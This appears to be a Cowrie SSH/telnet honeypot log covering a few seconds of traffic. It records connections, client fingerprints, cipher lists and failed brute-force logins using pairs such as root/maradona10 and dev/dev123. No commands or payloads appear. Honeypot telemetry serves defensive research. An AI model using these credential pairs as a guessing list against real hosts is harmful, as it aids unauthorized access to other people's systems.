{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:26.368223Z","src_ip":"194.59.206.2","session":"0a5cfa91bde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:26.458326Z","src_ip":"194.59.206.2","session":"0a5cfa91bde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:27.004526Z","src_ip":"45.153.34.97","session":"32f06464bf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19770,"dst_ip":"10.17.0.5","dst_port":22,"session":"48ba2073fb13","protocol":"ssh","message":"New connection: 45.153.34.97:19770 (10.17.0.5:22) [session: 48ba2073fb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:29.472568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:29.575276Z","src_ip":"45.153.34.97","session":"48ba2073fb13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:30.023952Z","src_ip":"45.153.34.97","session":"48ba2073fb13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maradona10","message":"login attempt [root/maradona10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:30.291158Z","src_ip":"45.153.34.97","session":"48ba2073fb13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:31.407252Z","src_ip":"45.153.34.97","session":"48ba2073fb13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.766620874404907,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:32.952532Z","src_ip":"152.42.224.71","session":"b914329f814d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167036056519,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:33.305284Z","src_ip":"152.42.224.71","session":"4df7e46e943d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":42616,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe919e0f0fd","protocol":"ssh","message":"New connection: 43.130.38.88:42616 (159.203.135.109:22) [session: 7fe919e0f0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:33.756874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:33.761461Z","src_ip":"43.130.38.88","session":"7fe919e0f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:33.829385Z","src_ip":"43.130.38.88","session":"7fe919e0f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:34.136596Z","src_ip":"43.130.38.88","session":"7fe919e0f0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.62430834770203,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:34.762224Z","src_ip":"152.42.224.71","session":"8af3ca05a2af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":43050,"dst_ip":"10.17.0.5","dst_port":22,"session":"a965ae98fbe1","protocol":"ssh","message":"New connection: 45.153.34.97:43050 (10.17.0.5:22) [session: a965ae98fbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:35.087225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:35.091951Z","src_ip":"45.153.34.97","session":"a965ae98fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:35.181166Z","src_ip":"45.153.34.97","session":"a965ae98fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:35.207693Z","src_ip":"43.130.38.88","session":"7fe919e0f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"123456","message":"login attempt [anderson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:35.791214Z","src_ip":"45.153.34.97","session":"a965ae98fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:36.888906Z","src_ip":"45.153.34.97","session":"a965ae98fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":44264,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3402a344158","protocol":"ssh","message":"New connection: 43.135.177.217:44264 (10.17.0.5:22) [session: f3402a344158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:36.983206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:36.987804Z","src_ip":"43.135.177.217","session":"f3402a344158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:37.056523Z","src_ip":"43.135.177.217","session":"f3402a344158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conrad","message":"login attempt [root/conrad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:37.365141Z","src_ip":"43.135.177.217","session":"f3402a344158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":46518,"dst_ip":"10.17.0.5","dst_port":22,"session":"299e4c85b2e7","protocol":"ssh","message":"New connection: 159.65.8.74:46518 (10.17.0.5:22) [session: 299e4c85b2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.002672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.007378Z","src_ip":"159.65.8.74","session":"299e4c85b2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.250148Z","src_ip":"159.65.8.74","session":"299e4c85b2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.436116Z","src_ip":"43.135.177.217","session":"f3402a344158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":43062,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a2194aedc65","protocol":"ssh","message":"New connection: 45.153.34.97:43062 (10.17.0.5:22) [session: 7a2194aedc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.588101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.597427Z","src_ip":"45.153.34.97","session":"7a2194aedc65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:38.681475Z","src_ip":"45.153.34.97","session":"7a2194aedc65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:39.091399Z","src_ip":"45.153.34.97","session":"7a2194aedc65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1122","message":"login attempt [root/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:39.241399Z","src_ip":"159.65.8.74","session":"299e4c85b2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":51128,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc5ddc7ccb1","protocol":"ssh","message":"New connection: 94.159.98.239:51128 (159.203.135.109:22) [session: 3fc5ddc7ccb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:39.902583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:39.907069Z","src_ip":"94.159.98.239","session":"3fc5ddc7ccb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.022888Z","src_ip":"94.159.98.239","session":"3fc5ddc7ccb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06973958015442,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.085026Z","src_ip":"152.42.224.71","session":"3a5306ea8d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.183323Z","src_ip":"45.153.34.97","session":"7a2194aedc65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"htubyf","message":"login attempt [root/htubyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.444197Z","src_ip":"94.159.98.239","session":"3fc5ddc7ccb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.483474Z","src_ip":"159.65.8.74","session":"299e4c85b2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c90cce0c93f","protocol":"ssh","message":"New connection: 181.47.9.103:38520 (10.17.0.5:22) [session: 8c90cce0c93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.976607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:40.980479Z","src_ip":"181.47.9.103","session":"8c90cce0c93f","protocol":"ssh"}
